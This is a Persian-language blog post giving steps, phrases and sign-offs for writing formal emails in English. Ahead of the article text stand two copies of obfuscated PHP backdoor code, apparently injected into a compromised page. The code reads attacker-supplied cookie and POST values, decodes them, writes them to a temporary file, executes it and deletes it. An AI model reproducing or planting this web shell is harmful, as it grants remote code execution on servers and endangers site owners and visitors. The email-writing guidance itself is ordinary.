$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} ۵ مرحله نگارش ایمیل رسمی به زبان انگلیسی | وبلاگ اتیچر
skip to Main Content

۵ مرحله نگارش ایمیل رسمی به زبان انگلیسی

زمان مطالعه: ۴ دقیقه

فهرست بخش ها

چگونه ایمیل رسمی به زبان انگلیسی بنویسیم؟

ایمیل رسمی به زبان انگلیسی معمولا متفاوت از ایمیلی است که برای دوستانمان می‌نویسیم، زیرا می‌خواهیم با احترام بیشتری با گیرنده ارتباط برقرار کنیم. البته دلایل زیر هم در رسمی نوشتن ایمیل رسمی به زبان انگلیسی تاثیر دارند:

  • شخص باید پیام ما را به درستی دریافت کند.
  • ایمیل رسمی راحت تر بایگانی می‌شود.
  • ایمیل های ارسال شده ممکن است به دلایل قانونی مورد استفاده قرار گیرند.
  • ایمیل رسمی معمولا بخشی از فرایند مصاحبه شغلی است.

حال اگر بخواهیم ایمیل رسمی به زبان انگلیسی بنویسیم داستان کمی متفاوت می شود. هنگامی که یک ایمیل رسمی به زبان انگلیسی می‌نویسیم، حتی اگر زبان مادری مخاطب ما، انگلیسی باشد معمولا از کاربرد اصطلاحات و عبارات زبان محاوره ای اجتناب می‌کنیم. یک شخص انگلیسی زبان از استرالیا، زمانی که یک ایمیل رسمی به زبان انگلیسی را به همکار خود ارسال می‌کند، از علامت تجاری یا عبارات استرالیایی استفاده نمی‌کند، فرقی نمی‌کند که همکارش در استرالیا باشد یا کانادا.

عنوان یک ایمیل رسمی به زبان انگلیسی چگونه است؟

زمانی که می‌خواهیم یک ایمیل رسمی به زبان انگلیسی با تاثیر گذاری بالا بنویسیم ، باید یک نوار عنوان خوب داشته باشیم، خودمان و موضوع مورد نظرمان را معرفی کنیم، آنچه را که ما نیاز داریم یا آنچه را که ارائه می‌دهیم، توضیح دهیم و از فرد برای وقتی که صرف می‌کند تشکر کنیم.

نوار عنوان مناسب در ایمیل رسمی به زبان انگلیسی ضروری است. اغلب ما ممکن است از ده ها یا صدها نفر در روز ایمیل دریافت کنیم، اما این موضوع و عنوان ایمیل است که موجب می‌شود تا ما ایمیل های خود را بر اساس اهمیت آن بررسی کنیم. همچنین در نظر داشته باشید اگر ایمیل افراد را نادیده بگیرید آنها نیز ایمیل های شما را نادیده می‌گیرند.

از اصطلاحات عامیانه و غیر رسمی زبان انگلیسی یا سبک متن هایی مانند LOL، BRB و غیره اجتناب کنید. تمام کلمات را به صورت کامل تایپ کنید، خواسته یا پیشنهاد خود به مخاطب را به طور مختصر بنویسید.

در نگارش ایمیل رسمی نوار عنوان خود را بنویسید و از خودتان بپرسید: اگر شما یک ایمیل با این موضوع دریافت کنید، آیا آن را می‌خوانید؟

سلام و احترام در ایمیل رسمی

شروع یک ایمیل انگلیسی نباید دشوار باشد، در واقع شما می‌توانید هر بار از کلمات مشابه برای سلام و احوال پرسی استفاده کنید. هنگامی که شما به زبان انگلیسی تسلط پیدا کردید، می توانید کلمات دیگری را برای احترام و سلام استفاده کنید. به یاد داشته باشید که می خواهید ایمیل شما یک ایمیل کسب و کار به نظر برسد، بنابراین رسمیت نوشتاری خود را حفظ کنید

سعی کنید از یکی از موارد زیر استفاده کنید:

Dear Sirs, Dear Madam

Use the first name, if appropriate: Dear Tim, Dear Susan

Use honorific and surname: Dear Mr. Smith, Dear Ms. Jones

Title and surname: Dear Dr. Casera, Dear Professor Lomond

To whom it may concern): use only when you cannot find out the actual name)

(فقط زمانی از این جمله استفاده کنید که نمیتوانید نام واقعی را پیدا کنید).

اگر فردی که به آن ایمیل می‌دهید را می‌شناسید یا اگر خط مشی شرکت شما اجازه می‌دهد، می‌توانید جمله احترام  را به: سلام سام، یا صبح بخیر جیمز!  تغییر دهید

مقدمه ایمیل رسمی به زبان انگلیسی

خط اول ایمیل معمولا مهمترین بخش است؛ چرا که در آن خواسته یا پیشنهاد شما به شخصی که ایمیل را دریافت می‌کند نشان داده می شود.

اغلب به یک فرد نیاز دارید که کاری را انجام دهد یا برای شما اطلاعاتی را ارسال کند یا محصول سفارش داده شده از سوی

شما را پیگیری نماید. به هر حال، شما به آنها به زبان انگلیسی اطلاعات می‌دهید. برای یادگیری بیشتر زبان انگلیسی و تقویت مهارت رایتینگ خود می‌توانید با اساتید اتیچر یک جلسه آزمایشی در صفحه استاد زبان خصوصی، رزرو کنید

در اینجا به چند مورد از عبارات قابل استفاده در یک ایمیل رسمی به زبان انگلیسی اشاره می شود.

As regards/regarding our last conversation, I would like to

I am referring to your email/order/request

As regards/regarding our last conversation, I would like to

Following our meeting last week, I am happy to

Unfortunately, I regret to tell/inform/advise you that

I would like to thank you for your support

I am referring to order number xxx, which our records show

Here are the details you requested

I am writing to inform/tell/advise you that

راه های زیادی برای نوشتن یک ایمیل کسب و کار وجود دارد ولی اگر شما یک چارچوب خاص یا چندین الگو و نمونه داشته باشید، بسیار بهتر است.

در ادامه ی یک ایمیل کسب و کار باید به طور کامل به خواننده دلیل نوشتن ایمیل خود را بگویید و انتظارات و خواسته های خود را دقیق بیان کنید.

همچنین مطالعه شود:

چگونه یک رزومه انگلیسی کاری خوب بنویسیم؟

 

پایان ایمیل رسمی

در اکثر موارد برای پایان ایمیل رسمی به زبان انگلیسی باید از استانداردهایی استفاده کنیم. جملات زیر مثال هایی برای پایان ایمیل هستند.

 

I look forward to hearing from you, and if you have any further questions, please don’t hesitate to contact me on (telephone number) or by email

If you require any further information, I am happy to assist you

Thank you in advance for your attention to this matter, and I look forward to your response

نکات پایانی در ایمیل رسمی به زبان انگلیسی

کلمات نهایی در یک ایمیل رسمی به زبان انگلیسی به خداحافظی اختصاص می یابد و سبک های زیادی وجود دارد که می توانیم از آنها استفاده کنیم.

Yours sincerely

Yours faithfully

Yours truly

Regards

Best regards

Best wishes

Best

All the best

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search